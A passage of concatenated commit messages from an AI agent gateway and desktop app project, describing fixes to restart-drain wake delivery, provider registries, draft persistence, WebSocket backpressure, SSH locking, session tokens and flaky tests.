and the Kanban notifier had already advanced its cursor, so the completion was
never retried and the creator session was never woken.

admit_internal_event now raises WakeNotAccepted while the runner is draining.
Callers already treat that as retryable: the Kanban notifier rewinds its claim
(the passive ping is not resent) and watch/completion delivery requeues, so the
restarted gateway delivers the wake.
handle_message can await before it claims or queues an internal event (Telegram
DM topic recovery, the busy handler's profile scope). A restart drain that began
during that await passed the pre-admission check, so the wake was still reported
as admitted and then dropped at the drain gate.

Re-read the drain state after the adapter reports admission and raise
WakeNotAccepted if it changed, so the caller rewinds or requeues as before.
Adds a regression test that parks admission in topic recovery and starts the
drain inside that window.
Once a chat has a committed human turn, deliver_wake commits a Kanban
wake to the session authority FIFO (admit_route_wake, 5a0c8bac4b)
rather than the classic adapter path this PR fixes. That FIFO's
admission gate already refuses during a drain and re-checks inside the
write, but nothing pinned it.

Pin the same contract on that route: idle, busy and mid-admission
drains refuse the wake with a retryable runtime_draining, and nothing
is half-admitted.
handle_message can await after it stores the event, not only before:
the busy handler has later awaits. The re-check comment said the
in-tree adapters never await after the claim; correct it, since the
re-check does not depend on that. A drain seen after admission,
whenever it began, dooms the stored event (the drain gate refuses the
claimed turn, the drain discards the queued follow-up), so refusing
lets the producer retry it.

Add the busy-handler window as a test: the wake is refused and the
queued copy is discarded, so it runs only on the retry.
The session-authority route already refuses a wake during a drain with the
retryable runtime_draining code; the classic adapter path now raises
WakeNotAccepted with the same reason, so both routes report one contract
(not permanent, so producers keep retrying after the restart).
The re-check covers the awaits before the store (Telegram topic recovery,
the busy handler's profile scope), not "the busy handler's later awaits";
the shared-runtime busy path can still await after it stores a wake, and a
drain seen then still dooms the stored copy (the drain gate refuses a
claimed turn, the pending discard drops a queued follow-up). The
WakeNotAccepted docstring lists runtime_draining from the adapter path. The
busy-handler test is documented as a guard for a post-store await, asserts
that the post-admission re-check is the one that fired, and loses a no-op
sleep(0).
A test that landed on main after the last sync calls load_hosted_profiles, which this branch now returns as
(hosted, in_process) so a profile that cannot cross the host boundary loads in-process (review P2-1). Same
assertions; only the call shape moved.
The per-home provider layer (review P1-1) re-scanned $HERMES_HOME/plugins on lookup, so a --safe-mode
worker read user plugin manifests through the aux client path. Gate it on safe_worker_enabled(), the same
gate _discover_providers already uses. Caught by test_canonical_safe_launch_is_frozen_policy_executed_in_isolated_worker.
Every field this branch added to ProviderProfile followed main's positional
layout as a positional field, so a dataclass plugin subclass passing its own
option after the released arguments assigned it to account_card instead.
A KW_ONLY sentinel after model_capabilities (main's last field) keeps every
released slot and the subclass's own options where they were.

The compat test now freezes the released positional layout as a literal
instead of deriving it from the new class, which could not catch the shift.
A wake that admit_internal_event accepted before a restart drain began still
returned a success receipt, so its producer (Kanban notifier, completion
delivery) advanced and never retried. The drain then dropped it: on an idle
session the drain gate answered the claimed turn with the drain notice, and on
a busy session the queued wake was discarded as a pending follow-up when the
running turn ended.

Mark the event once the receipt is issued and let those two drain sites pass a
marked event. Human follow-ups and unmarked events keep the existing drain
behaviour.

Fixes #138123
Once a chat has a committed human turn, deliver_wake commits a Kanban
wake to the session authority FIFO (admit_route_wake, 5a0c8bac4b)
rather than the classic adapter path this PR fixes. A drain leaves that
committed row queued and the restarted gateway's startup recovery runs
it, but nothing pinned it.

Pin it for an idle and a busy chat: the receipted wake is never
dropped and runs exactly once across the restart.
admit_internal_event marked the wake after handle_message returned, on
the assumption that the in-tree adapters never await after storing the
event. The busy handler does, so a drain that began in those later
awaits left a wake its producer already held a receipt for unmarked,
and the drain discarded it.

Read the drain state before handle_message instead (suggested in
review). Combined with the drain re-check in #137553 nothing changes:
that check refuses the wake before the mark is set.
The busy-handler test injects an await after the wake is stored, which the
classic busy handler does not have; its docstring now says it guards that
shape, and its no-op sleep(0) is gone.
With two human follow-ups ahead of the wake (one in the pending slot, one in
the overflow FIFO), the drain discarded the first and staged the second in
the slot; the drain gate then rejected it without promoting the next
overflow item, so the wake its producer had a receipt for never ran.

After the drain discards the current follow-up (or finds none, including
after the slash-command safety net), it now takes the first queued wake
admitted before the drain began out of the slot or the overflow and runs it
next, keeping the slot filled while overflow remains. Other follow-ups are
not touched by that step. Running the wake does add one turn end to the
drain, so one more queued human follow-up is discarded instead of being
flushed to the transcript at shutdown; that only happens when a receipted
wake is queued, which main never ran (it was flushed as plain text). A
turn that ended without a result leaves the queue to the adapter as
before. run_turn.py shrinks (it is over the file-size
ratchet); the helper lives beside _promote_queued_event.
Two homes registering the same provider shared one auth-registry row: a
home's plugin rewrote that row's endpoint and credential env names in place,
so after A->B->A home A kept B's endpoint and env names, and a home without
the plugin read another home's override of a built-in row. Catalog aliases
went into one process-wide table with setdefault, so the first home kept an
alias another home gives to a different provider.

PROVIDER_REGISTRY now derives each read from the bound home's profiles: a
$HERMES_HOME plugin's fields land on that home's own copy of the row (built
from its profile when no process-wide profile backs it), an alias key follows
the home's own claimant, and a process-wide registration still rewrites the
stored row (every home reads it). The catalog alias table overlays the bound
home's catalog_aliases per read instead of copying them in.

registry_lookup re-reads after its sync whatever the count says: a home's
first plugin scan mirrors its rows in the sync's own nested list_providers()
pass, so the first lookup of a just-bound home returned None.
A home with model.provider: auto, auth.json active_provider: copilot and an
env token resolved "auto", so recover_for_provider found no left-core
provider and returned before checking the home's stored choice. Auth then
ignored copilot (no registry row without the plugin) and the quiet CLI, which
resolves before any gateway or agent start can migrate, showed the generic
setup error instead of installing the plugin.

"auto" (or no name) now stands for auth.json's active_provider, the provider
the resolver's auto rung follows.
refresh_runtime_credentials, is_stale_credential_error and
credential_refresh_notice run inside the API-error handler, outside the
retry loop's try. A raise there (a plugin bug, or a plugin host that
disconnected or timed out) escaped the handler before the fallback walk.

ask_on_error_path is that boundary: a raise answers "not refreshed" (or no
stale verdict / no notice), logged with its traceback once per provider and
hook, and the hook is asked again on the next error since a lost host may
be back. A malformed refresh answer is "not refreshed" too. The original
API error then walks the fallback chain. Same policy as the
missing_credentials_suffix boundary.
Runtime resolution caught a raising api_mode_for_model hook and kept the
profile's declared api_mode, but /model (model_derived_api_mode, also the
resume re-derivation in the TUI, CLI and gateway), the stale
codex_responses check in resolution, the agent's Responses routing check
and the auxiliary client asked the same hook unguarded: a model could
resolve and then fail building the switch result.

agent.provider_route_hooks.model_api_mode is now the one call: a raise
answers the profile's declared api_mode, logged with its traceback once per
provider. A None answer keeps each caller's existing meaning.
The two broken-pipe tests polled for the fixture CLI closing its stdin with
non-zero time.sleep loops, which tests/AGENTS.md forbids; a missed deadline
now fails with a named timeout instead of continuing silently.
The catalog alias overlay reads providers like the registry view does, with
no catch-all (code-health BLE001). The registry-wide alias cost test reads
the registry once before counting: a home's first registry read now scans
its plugin layer (which mirrors profiles once), as every per-home read must.
Every auth-registry read now consults the bound home layer, so a caller whose
home lookup hands back a str (the TUI protocol test harness stubs
hermes_constants that way) reached the plugin-dir stat with str / str.
refactor(providers): GitHub Copilot moves out of core into the github-copilot labs plugin
Pinned to NousResearch/hermes-labs-plugins@346cfe972f (PR #34). Lets hermes plugins install github-copilot
and the LEFT_CORE migration from #144788 find the plugin.
test_a_killed_updates_lock_stays_while_any_git_works_in_the_checkout
[a reader git in the checkout] failed on 5 main runs Oct 16-19 with
{'killed_update_owns': False, 'held_open': False}: the git was gone and
nothing held the lock, yet the reclaim kept it.

_killed_update_owns only counts a run that started before the lock was
written (started > lock mtime is skipped: a later run cannot have left it).
The fixture's receipt took started_at from datetime.now() a few ms before
the test wrote index.lock, while the lock's mtime comes from the kernel's
coarse file clock, which on a loaded CI VM can trail the precise clock by
more than that gap. The lock then looked older than the run and the run was
dropped. A killed update really starts seconds before its git takes the
lock, so the fixture now backdates started_at by 5 s.

Repro: shifting index.lock's mtime back 60 ms reproduces CI's exact
assertion on main and passes with this change; 5x green unpatched.
On top of the receipt backdate: test_a_failed_retry_never_erases_the_killed_updates_claim
slept 50 ms on each side of the lock write to keep the killed run before the lock and the
retry after it. The backdated fixture covers the first; the second never needed a wait,
since a file's coarse-clock mtime is never ahead of the precise clock the retry's
started_at reads. Both sleeps go (HX013).

The reader case's failure message now also names whether the lock still exists. On CI it
read {'killed_update_owns': False, 'held_open': False}, which a lock deleted by something
else would print too; only the file timing (the failing attempts skip the 5 s holder poll
of the first reclaim, so the ownership proof was false from setup) ruled that out.

Repro (scratch copies, flake_hammer-style loop under CPU load, -k killed, file retries
off): with the lock's mtime floored to a coarser file clock (10 ms tick + instant fsync,
or 1 s granularity) main fails with CI's exact assertion; this head passes.
The failed-row test polled 200 x 10 ms for the install worker thread to
mark the row failed; on a loaded CI shard that budget expired. Poll until a
30 s monotonic deadline instead (returns as soon as the state is reached).
owner() boots a real `gateway.run` whose model picker runs on the RPC thread
(model.options, session.create). With no cache in the fresh test home it
fetched models.dev (up to 15 s) and the model catalog (~8 s per URL) from the
live endpoints, so a slow runner network pushed
test_model_options_uses_frozen_selection_without_composer_global_writes past
the 20 s RPC bound (TimeoutError at its first model.options call).

Repro: a scratch sitecustomize.py that stalls every non-loopback getaddrinfo
for 30 s in the daemon. origin/main fails with CI's TimeoutError; with the
fixture disabling the catalog and pointing models.dev at the loopback peer
(the ACP conftest already does the same) the file passes, and only the
background reasoning-caps warmers still reach out.
test_a_failed_row_keeps_its_reason_and_try_again_works_while_the_card_is_open
drives manage_catalog on a non-daemon thread whose operation waits for the
user on krita. When a wait_for step fails, nothing answers krita, so the
thread blocks interpreter exit until the operation's 600 s deadline: CI showed
the test failing in 12.6 s and the file then killed at the 600 s per-file cap.

The steps now run in try/finally, and the finally presses Continue on any
operation the thread has open (or opens later) until the thread returns.

Repro: a scratch copy whose wait_for expires at once. origin/main: the file
reports the assertion only when the 60 s file cap kills it (60.1 s); with the
fix: the same assertion in 3.5 s. Clean runs pass unchanged.
The rescue cleanup in finally settles whatever is still open, so on its own it
would hide a broken skip. Wait inside the try for the tool thread to return
naturally after krita is skipped, and assert krita came back skipped.
The errors probe faults the first fs.promises.open of each case with a
one-shot flag. A walk that rejects leaves the rest of its Promise.all
running, and on a loaded runner one of the EACCES walk's lstat callbacks
lands after the follow-up walk has finished. That straggler then makes
the first open under the EIO injector, takes the read fault, and the EIO
walk resolves cleanly: "Missing expected rejection" (main run
40322485575).

Each case now counts the failed walk's opens and waits until every file
has opened and closed before the next fault is armed, so the fault can
only reach the walk under test. The same wait keeps the EIO walk's
late-closing stragglers out of the concurrent walks' live/peak check.
expose_cli runs at each checkout's first boot. On Windows it published that
checkout's launchers into <home>\bin, the folder on the User PATH, whichever
checkout called it. A review tree or worktree started against the real home
repointed every console's `hermes` at itself, and once that tree had no
dependency environment, `hermes` failed with "no dependency environment is
committed for this install".

A checkout other than the home's own now leaves <home>\bin alone while the
hermes command there starts another checkout that still exists. Missing
launchers, and launchers whose checkout or interpreter is gone, are still
replaced. The home's own checkout still republishes, which heals a machine an
earlier run already rebound.

Follow-up to #137951, which listed this case as not fixed.
fix(windows): keep a review tree from taking over the home's hermes command
`translucencySupportedOn` keeps the Settings row off Linux on the strength of
Electron documenting `setOpacity` as a no-op there, but a Linux window really
does render faded once it is handed the value: on X11 the window carries it as
`_NET_WM_WINDOW_OPACITY`, and a native Wayland surface composites the same fade
into the frame. Meanwhile `defaultTranslucencyValues` only knows the mac and
windows tables, so anything that is not Windows — Linux included — resolves the
29% Clear default, and both the constructor option and the live apply path hand
that value to the window with no platform gate. A Linux desktop therefore
renders at roughly 0.94 opacity from the first frame, on either backend, and the
one control that could undo it is the row the same feature hides.

Gate the value where it reaches the window instead of trusting the row:
`nativeOpacityFor` answers 1 when the platform has no translucency and the ramp
unchanged everywhere else. That covers a state persisted or imported from
another platform, and it keeps the way back — a window that already carries a
faded opacity still gets the call to return to opaque.
Settings hides the translucency row on Linux, but the renderer still
resolved the platform default (29% tint, a glass default that falls back
to Clear where glass is unsupported), drew the Clear overlay scrim for it,
sent it to main and persisted it to translucency.json. Main now refuses to
hand that value to a Linux window, but a hidden setting should have no
effect anywhere, so the renderer resolves it to off where the row is
hidden. The resolved off state goes to main over IPC, which rewrites a
translucency.json an earlier build left at 29, so an affected profile heals
on its first launch on this build.

Electron 44 honours setOpacity on Linux (X11 _NET_WM_WINDOW_OPACITY and
native Wayland alike), so the comments that called it a no-op are
corrected.

Co-authored-by: IPBDW <bagusdharma0202@gmail.com>
main.ts is over the 2,000-line target and may only shrink; the opacity
gate explanation lives on nativeOpacityFor, so the two call-site comments
point there instead of repeating it.
Carries libbrotli 1.2.1 (CVE-2026-111497, out-of-bounds write / RCE). Trailing bytes after a complete Brotli stream now raise brotlicffi.error.
Both move to gonogo-eval>=0.4,<0.5 and share one dependency environment, so they bump together.
On a touch layout (the browser-hosted Desktop on a tablet or phone) the
user bubble skipped the sticky clamp, because touch has no hover and a tap
does not open the editor. A long prompt then pinned at full height over the
transcript and hid most of the reply while reading it.

Touch bubbles now clamp like mouse ones, and a chevron beside the Edit
button holds the full prompt open until it is tapped again, as the watch
window's toggle already does. Mouse behaviour is unchanged.
The touch chevron rendered at 36px (size-9). The 44px floor and
user-select: none in styles.css named only aui_user-touch-edit, so the
toggle sat 4px above the Edit pencil and under the coarse-pointer target
size DESIGN.md asks for.

measureClamp flagged anything over two lines of the wrapper's 1.5
line-height, while the clamp box is four lines at 1.3. Three- and
four-line prompts got the fade and the new chevron with nothing hidden
(51/51 and 68/68 px at 390x844). Compare against the clamp's own
max-height, read from the stylesheet once, so the fade and the toggle
appear only when text is cut off. jsdom has no stylesheet and keeps the
two-line fallback.

The doc comment no longer says the clamp lifts on hover. It lifts only in
the edit composer (styles.css), as #145088 pointed out.

Co-authored-by: xxxigm <tuancanhnguyen706@gmail.com>
Co-authored-by: liuhao1024 <sunsky.lau@gmail.com>
useStickyPromptClip writes the variable on each frame during a scroll. Unregistered custom properties are inherited. Each write caused a style recalculation of all descendants of the clipped elements. Only their clip-path uses the value.
The clip hook writes --sticky-prompt-clip on whole turns every scroll frame;
point readers at the @property block that keeps those writes from restyling
each turn's subtree.

Salvaged from #133314.
Loads the built renderer stylesheet in real Electron and checks computed
style: the host still clips, and a descendant reads the registered initial
value instead of the host's per-frame write. Red on the unregistered
property (child reads 24px), green with the @property block.
Each keystroke's coalesced flush wrote the draft into the assistant-ui
composer store. That write re-renders the thread's client resources and
re-checks every useAuiState selector of every mounted message, so the
per-key main-thread cost grew with how much history was loaded: typing got
slower the longer the user read and worked in a session, and recovered only
on reload or a switch.

The keystroke path now writes through a small writer that sends an edge
flip (empty/non-empty, `?`, steer vs slash, hard newline: every fact the app
derives from composer.text) at once and coalesces the rest of a burst into
one trailing write after a typing pause. Immediate paths (Enter,
compositionend, submit, scope swap, programmatic paint/clear) still write
at once and supersede a pending keystroke, and the runtime mirror ignores
the store while typed text it has not seen is pending.

Live (real Electron + hermes serve, 1800-message session, whole history
read up so all 300 turns are mounted): main-thread time per keystroke
33.9 -> 9.6 ms; assistant-ui store flush 18.0 -> 1.3 ms per key; fresh
open 12.1 -> 6.0 ms per key. 132 session switches, 25 streamed turns and
12 reloads in one renderer showed no growth (listeners, heap, ms/key flat):
the cost tracks the loaded transcript, not uptime.
The coalesced composer store write (180 ms) moved the draft stash behind it:
the per-session stash was scheduled only from the runtime subscription, which
is skipped while a typed write is pending, so persistence took 180 + 400 ms
and a window closed 400-580 ms after the last keystroke lost the draft.

The typing path now schedules the stash itself when its store write is
deferred, and the subscription keeps an already-scheduled timer for the same
scope and text, so the window is the 400 ms debounce from the keystroke again.

Closing the window right after typing lost the draft on main too: Electron
tears the renderer down before a pagehide-time localStorage write lands. The
existing synchronous flush now also runs on beforeunload, whose write
survives (live: close at 0 ms keeps the draft).
The close-time flush stashed whatever the composer showed. A second window
still showing session S's draft after the first window sent it wrote that
text back on close, so the sent message came back as S's draft.

The hook now tracks the text it last loaded from or stashed for its scope,
and the beforeunload/pagehide flush stashes only when the editor differs from
it. A close right after typing still saves the draft.
rf24 gated the window-close save on the editor text differing from what the
window last loaded or saved. Two sibling saves still wrote an untouched,
stale draft back over another window's send:

- switching sessions in the window (the swap cleanup stashed whatever the
  editor showed), and
- the debounced save that loading a draft schedules: when the other window
  sent within 400 ms of the load, the timer re-stashed the loaded text.

The baseline is now the whole draft state the window owns: text plus the
attachment occurrences it loaded or stashed. The debounce, the session
switch (including the queued-edit pre-edit draft) and the HUD flush stash
only when that state differs, so an attachment-only edit still saves on a
switch. The close path stays text-only: attachments do not outlive the window.

The persist-window test harness now returns a stable composer runtime, as
assistant-ui does; a fresh one per render re-ran the subscription effect and
cleared the debounce timer the new test exercises.
reloadPersistedDrafts treated every map key missing from the shared stash as
sent elsewhere. Attachments are memory-only, so an image-only draft (or one
past MAX_PERSISTED_DRAFTS) is never in the stash: any other window's draft
write, and every HUD close, deleted it and the attached images vanished.

The window now keeps the stash texts it last read or wrote. A reload applies
only texts the stash changed since, and a key it saw disappear loses its text
but keeps this window's attachments; keys never persisted are left alone.
Two writers changed the shared draft stash without the window's record of
what it last saved there, so later saves skipped the editor's text as
unchanged:

- A send's late accept cleared the session's whole stash entry, wiping the
  next message the user had already typed and the debounce had saved. It now
  clears only while the stash still holds the sent message, through the
  composer's own save so the editor's text counts as unsaved again.
- Each window wrote its whole draft list from its own copy of localStorage,
  which reaches the other windows milliseconds late. A write from that stale
  copy dropped or reverted the other window's newest draft, and the victim
  took it as "sent elsewhere". Drafts now carry their save time, a cleared
  draft leaves a timestamped marker for a while, and every write and reload
  merges per key, newest wins. A window that sees storage holding an older
  entry than the one it saved writes its own back. The 50-draft cap keeps
  the most recently saved drafts by those times, so all windows agree.

The authoritative stash moves to one key (hermes:composer-drafts:v4) so a
read never sees half a write; the v3 { key: text } list is still written
after it and is read once on first load.
Two windows writing in the same instant can leave the v3 mirror one write
behind the v4 stash (live: 1 of 45 same-millisecond races). Reading it on
every launch could then bring back a draft whose cleared marker had expired.
The mirror now seeds the stash only on the first launch after the upgrade.
The e2e spec proves the clip does not inherit into the turn, but no CI
lane runs it: Desktop E2E is `if: false`, and Desktop core E2E runs only
e2e/core. This guard runs in JS & TS checks and goes red if the
@property block loses its registration, its <length> syntax,
`inherits: false`, or its initial value.

Salvaged from #133314.
(cherry picked from commit 60963c9fbe41951cb9f88269d230fcf0d46cbf4f)
A download ticket was single use by design until the previous commit. The
gate spends a use before the file is opened, so a failed or cut-off first
response leaves the browser's retry with nothing to redeem. A download
ticket now admits up to 3 requests for the exact route and query within 60
seconds of minting. A HEAD of that URL counts like a GET, as it already
did on main. Sign-out and profile deletion still end it.

One nullable use count replaces the single_use flag and the separate
counter. The module docstring states the rule and the reason for it.

The tests now fail on the base at the retry with a 401, not with a missing
constant. The TTL test fakes the clock through the module's own time
reference instead of the process-wide time.monotonic. It shows that the
ticket dies 60 seconds after minting even with uses left.

(cherry picked from commit 88f8cffb2631eee7456c2c5eaf38bb10e2d40fc8)
The retry test pinned DOWNLOAD_MAX_REDEMPTIONS to a range and looped
DOWNLOAD_MAX_REDEMPTIONS - 3 times, which runs zero times at today's value.
It now states the contract directly: GET, its retry, a HEAD, then 401 on
both GET and HEAD.

(cherry picked from commit c7aa3e0d8286ba47b9b130df7557b251639be3bf)
The retry tests now run on forced_files_client under a fresh session token and mint with the existing _ticket helper. The sign-out case moves into test_webapp_sign_out_sockets.py, whose two file-link tests are parametrized over stream and download tickets.
A host-scoped session.create reads profile_id on every registry slot. Hot-serve publishes that slot as None until the authority exists, so an attach during the start raised AttributeError. Wait for the slot to be filled or dropped, and skip an empty slot.

(cherry picked from commit aa6bce4b9cd5ce9f66f9a7531dfad5732bdd6377)
The previous change waited for the starting profile inside dispatch, on the
socket's serial lane, with no timeout. session.create and most profile verbs
run on that lane, so every later control frame on the shared Desktop/Webapp
socket queued behind the start, other profiles' prompts and interrupts
included.

Such a frame now waits in a lane of its own: at most 20 s, under the
Desktop's 30 s request deadline, then it routes through the normal path.
Frames for that profile keep their arrival order. A start that fails answers
profile_mismatch, and one still running when the wait ends answers retryable
runtime_draining. An immediate refusal was not used because the Desktop does
not retry runtime_draining, so the user would see a failed chat.

The reserved None slot was also read by other walks over the registry: the
staged-upload check, the idle-exit probe, the stop settle and the
resume-pending check. SessionAuthorities iteration now yields built
authorities only, so every walk sees a starting profile as it was before the
reservation, and the per-site None guards are gone.

(cherry picked from commit 5f1c06c0e972c7a5a741c8acd777d78acbc65f16)
The serial lane's queue holds at most _WS_DISPATCH_QUEUE_MAX frames, and a
full queue parks the reader. The dispatcher moved every frame naming a
starting profile out of that queue into the held lane's deque, which had no
cap, so a flood naming that profile was read off the socket into memory and
the reader never parked.

Held frames now take a slot from a semaphore of the same size. Once that many
wait, the dispatcher waits for room, the queue fills and the reader parks, as
it does behind a busy handler. The start is asked about again after the wait:
if it ended and its lane drained meanwhile, the frame goes to the serial lane
behind the frames that lane already answered.

(cherry picked from commit b0e279d0d8d6ef4bf6537d687ccc47699dde1daf)
An auto-started gateway whose built ledgers were empty could idle-exit while hot-serve was still building a profile: the registry walk skips a reserved slot, so busy_reason saw nothing and the stop cancelled the start before that profile's queued admissions were recovered. busy_reason now reports a pending start (SessionAuthorities.starting_homes); the hold ends when the start is filled or fails.
The poll stopped as soon as the inbound queue size held still for 20 ms, so slow socket setup ended it before any frame was read and both assertions passed without exercising the bound, on the unfixed code too. The test now waits until the reader has taken the frames that park it (held bound + queue bound + one each in the dispatcher and reader), then checks it read no further.
The progress wait uses the shared poll helper instead of a hand-rolled sleep loop; the settle delay that checks the reader read no further keeps a reviewed HX013 allowance (a parked reader sets no event).
The backpressure test looked each reply up by id in the expected order, so a reordering passed.
Record the order replies are written and assert it. A new test holds the first beta frame while
the lane drains after the start ended, sends another beta frame, and asserts it runs and is
answered after the frames already held.
Right after probe-late, assert held-0's gate has not run out and that neither held-0 nor held-1 has a reply, so the order assertions check the late frame interleaving with held work rather than frames that had all finished before it arrived. A held frame answered with an internal error (what a gate timeout becomes) now fails the test.
A held lane read the live event states after it resumed. If the start
ended right after the disconnect, before the lane ran again, both events
were set and the frames ran for a client that had left.

The disconnect path now marks every lane whose start has not ended as
dropped, synchronously, and the lane checks that mark. A lane that is
already dispatching is not marked, so a viewer leaving never stops a
turn. Tested in both orders, with no yield between the two signals.
The test waits until handle_ws enters its disconnect path, then asserts
held-0 is still pending before releasing it. A gate that expires or an
internal-error reply now fails the test.
get_ssh_workspace_fs held the module-wide cache lock across the SSHEnvironment dial and the old env cleanup, so while one profile host was unreachable every other SSH profile waited out its dial timeout. The cache lock now guards only the dicts; dials serialize per profile so concurrent requests for one profile still dial once. A failed re-dial now drops the stale, already-replaced entry instead of leaving it cached.
The previous commit dialed the replacement SSHEnvironment before cleaning up the old one. The SSH control socket is keyed on user@host:port only, so after an ssh_key change on the same endpoint the new dial validated through the old authenticated master, was cached, and then lost that master to the old env cleanup: a rejected key was cached and later reads failed instead of the request answering ECONN. get_ssh_workspace_fs now drops the stale entry and cleans up its env before dialing, still under only the profile dial lock. A cleanup that raises leaves no entry and releases the dial lock, so the next request dials fresh.
SSH workspace connections share one control socket per user@host:port. With
the dial lock per profile, one profile's cleanup (ssh -O exit, then unlink)
could overlap another profile's dial on the same endpoint and delete the
socket that dial had just created. Each dial and each cleanup now also holds
its endpoint's lock: cleanup takes the old config's endpoint, the dial the
new one's, one at a time inside the profile lock, so hosts on other
endpoints still dial independently.

The concurrent same-profile test now releases the first dial only after the
second caller is seen waiting on a lock (or dialing), so it cannot pass
without the two calls overlapping.
The second profide dial now runs in a thread joined for 2 s, so a lock held across the hanging dial fails the test instead of passing after the gate times out. Also drops a needless _DIAL_LOCKS patch from the key-change test.
Nothing re-enters _CACHE_LOCK. The comment said a dial holds just its profile's lock, then described the endpoint lock too.
The input queue was bounded at 64 frames. Keys typed while a paste waits on a program that is not
reading fill it; the reader then stops, and with it the WebSocket library's own read once its 32
buffered frames are taken, so keepalive pongs go unread. A non-loopback Webapp pings (20 s/20 s by
default) and closed the live tab with 1011, dropping the input queued behind it. Bound the queue by
bytes (1 MiB, 256 per frame) instead: the reader keeps reading through any typing, and past the
bound the liveness probe from #144665 still applies.

Refs #144648
The keepalive regression test gave each pong 300 ms (pings every 200 ms), so a scheduling delay
longer than that could close a correct connection with 1011. Ping every second and give each pong
two seconds, the minimum bound tests/AGENTS.md sets, keeping the five-ping gate so input stays
blocked across several timeout windows. The tab now notices the server's close frame itself, so
without the fix the test fails in about four seconds instead of waiting out the slow program.
The input queue bound counted a text frame by characters, but _input_runs writes it as UTF-8, so a CJK or emoji paste counted a third or a quarter of its bytes and could queue several MiB behind the 1 MiB bound. _frame_cost now counts the frame's UTF-8 bytes (surrogatepass, so counting never fails the reader). Tests: a unit test on _InputQueue with emoji text frames, and the held-back test runs with non-ASCII text frames as well as binary ones.
The byte-bounded input queue parked the reader as soon as 1 MiB was queued, so a paste over 1 MiB with 34 or more keys behind it (32 unread messages in the WebSocket library plus the one it holds) stopped pong processing and the keepalive closed a live tab that the 64-frame bound left attached. The queue is now full only at 64 frames that together reach 1 MiB.
_frame_cost and _input_runs each turned a frame into bytes, one with surrogatepass and one strict. Both now use _frame_payload, strict like the write: the WebSocket library decodes text frames strictly, so a lone surrogate never arrives.
A batch can now hold megabytes of input, so _input_runs collects a run in a list and joins it, rather than copying it on every frame.
The password provider signed only the user, kind and whole-second expiry,
so two sign-ins in the same second got the same token pair. On the
Webapp's listener a browser login's tokens work only as its cookies, but
when a native app signed in with the password provider in the same second
as a browser login, the record of the app's pair matched the login's
tokens too: they worked on their own as a bearer token and on the refresh
route, and kept working after hermes webapp --sign-out and a restart.
Each minted session now carries a random jti, so every login, sign-in and
renewal gets its own pair; tokens still verify as before. Native apps stay
signed in across a sign-out, as before.

Rebuilt from ac1d76b459921bb371d30227e2d6dfba8224ae71 (#145108), with the
Webapp test rewritten for the contract that native apps stay signed in.
Plain HTTP is not a secure context, so navigator.locks is missing and two tabs were sharing one queue drain and one prepared submission. Use a localStorage lease only when Web Locks are absent.

(cherry picked from commit 95998505197cc0cbf5009dc6d2a1b1a16c32d2d2)
Web Locks exist only in secure contexts, so the Webapp served over plain
HTTP to a non-loopback address has none, while its tabs still share the
prepared-submission journal. A slash command's journal key carries no
submission id, so two tabs sending the same command to the same session
could reserve the same key: the second write replaced the first tab's
entry, and either acknowledgement deleted it. A tab whose acknowledgement
was lost then had no retained expansion left to retry. When the journal
already held the key, the slot fell through to crypto.randomUUID, which
throws in an insecure context.

Such a page has no atomic cross-tab primitive, so a localStorage lease can
only narrow the race. The lease added earlier on this branch read, wrote
and re-read its own write, so two tabs could both acquire it. Remove it.
Without Web Locks every new send now gets a fresh journal key from
crypto.getRandomValues, so no two sends share one. Adoption stays without
exclusion: it matches an exact submission id, so two tabs that adopt one
entry both send its retained request id and payload, which the canonical
gateway admits once.

The queue drain still runs without a claim there. Both drain paths send
the entry id as the submission id, and the gateway answers a second copy
with the first admission instead of a second turn. The comments that said
there is no other window to exclude without Web Locks now say this.

Electron and secure origins keep their Web Lock paths unchanged.

(cherry picked from commit fe970df2a0cb67fc11489855ce0fb24d12777e23)
The browser journal of uncertain sends was one localStorage blob, and
writePreparedSubmission and retireJournalEntry each rewrote all of it.
Every tab of the origin shares localStorage, Chromium keeps a copy per
renderer and converges last writer wins per KEY, so two tabs rewriting
the blob at once dropped an entry the other had just written, or brought
back one it had just retired. Web Locks cannot help: they guard one
journal key, not the blob. A double-send from two tabs could lose a retry
record (a "Prompt failed" on a slash retry) and leave acknowledged
records behind.

Each entry is now its own `preparedSubmissions.v2:<journal key>` value,
like the spent tombstones, so a write or a retirement touches only keys
of its own. The native Electron journal is unchanged.

Upgrade: entries an earlier build left in the v1 blob stay adoptable from
it, behind any v2 entry under the same key. This build never rewrites the
blob. Retiring a key also retires the blob's entry there, recorded as a
`preparedSubmissions.v1.retired:<journal key>` value holding that entry's
id. Copying the blob into v2 keys, or deleting from it, would let a tab
acting on a stale view restore an entry another tab had just retired. A
marker hides only the id it names, so no tab of either build can undo a
retirement, and a newer entry that a still-open earlier-build tab writes
under the same key stays visible.

Regression: production-module instances over divergent storage views.
A tab writing, then retiring, from a stale view keeps the entry another
tab just wrote (red on main: that entry is lost). Two tabs upgrading at
once each retire a different legacy entry and retry another: the retired
ones stay retired, the rest stay adoptable (red on main, and against a
blob-rewriting or copy-on-read migration).

Review: https://github.com/NousResearch/hermes-agent/pull/144663#issuecomment-6406289354
(cherry picked from commit 6cfaf6f58bf6f3a64691a42a87f06afff4802c0d)
Retiring a browser journal key wrote a v1.retired marker naming whatever
id the legacy blob held under that key. A still-open tab of the earlier
build cannot see v2 entries, so it can journal its own uncertain send of
the same words under the same key; acknowledging the newer build's send
then marked the earlier tab's entry retired, and its explicit retry found
nothing to adopt.

The marker is now written only when the blob's entry carries the id
being retired, matching the tombstone rule that a retirement hides only
the entry with that exact id.
The single pass of 45a527b34563 read each value as its key was listed, so a tombstone listed before its entry was read before it: a retirement updating that tombstone while the entry was read went unseen, the entry was returned, and the tombstone was cleared. The read now only lists keys in that pass and reads the stores afterwards in the earlier order (legacy-retired markers, entries, legacy tombstones, tombstones). The tombstone under every journal key read is also read by name, so one written after the list was taken or shifted out of it by a removal still hides its entry; legacy-retired markers are read by name for each blob key.
Browser new chats read the target profile's default folder instead of the last synced cache. Rename moves that folder and the startup profile with the profile, and delete drops them.

(cherry picked from commit c0a11844d1992b079a1da680bc532a3392f8598e)
A rename never lands on a live profile's name, so a folder or startup
profile already stored under the new name was left by a deleted profile
(delete did not drop them before this branch). The rename kept that
leftover and threw away the renamed profile's own folder. Drop what the
new name holds first, then move the old name's prefs, as the sibling
navigation migration already lets the source win.

The Bot Mode "+" tab dials the bot's route without naming a profile, so
the tile read the folder of the window's profile while the session was
created in the bot's. Read it for the profile the create dials.

Settings keyed a profile it could not name as `default`, while a new
chat reads the gateway's own profile name. On a gateway launched as a
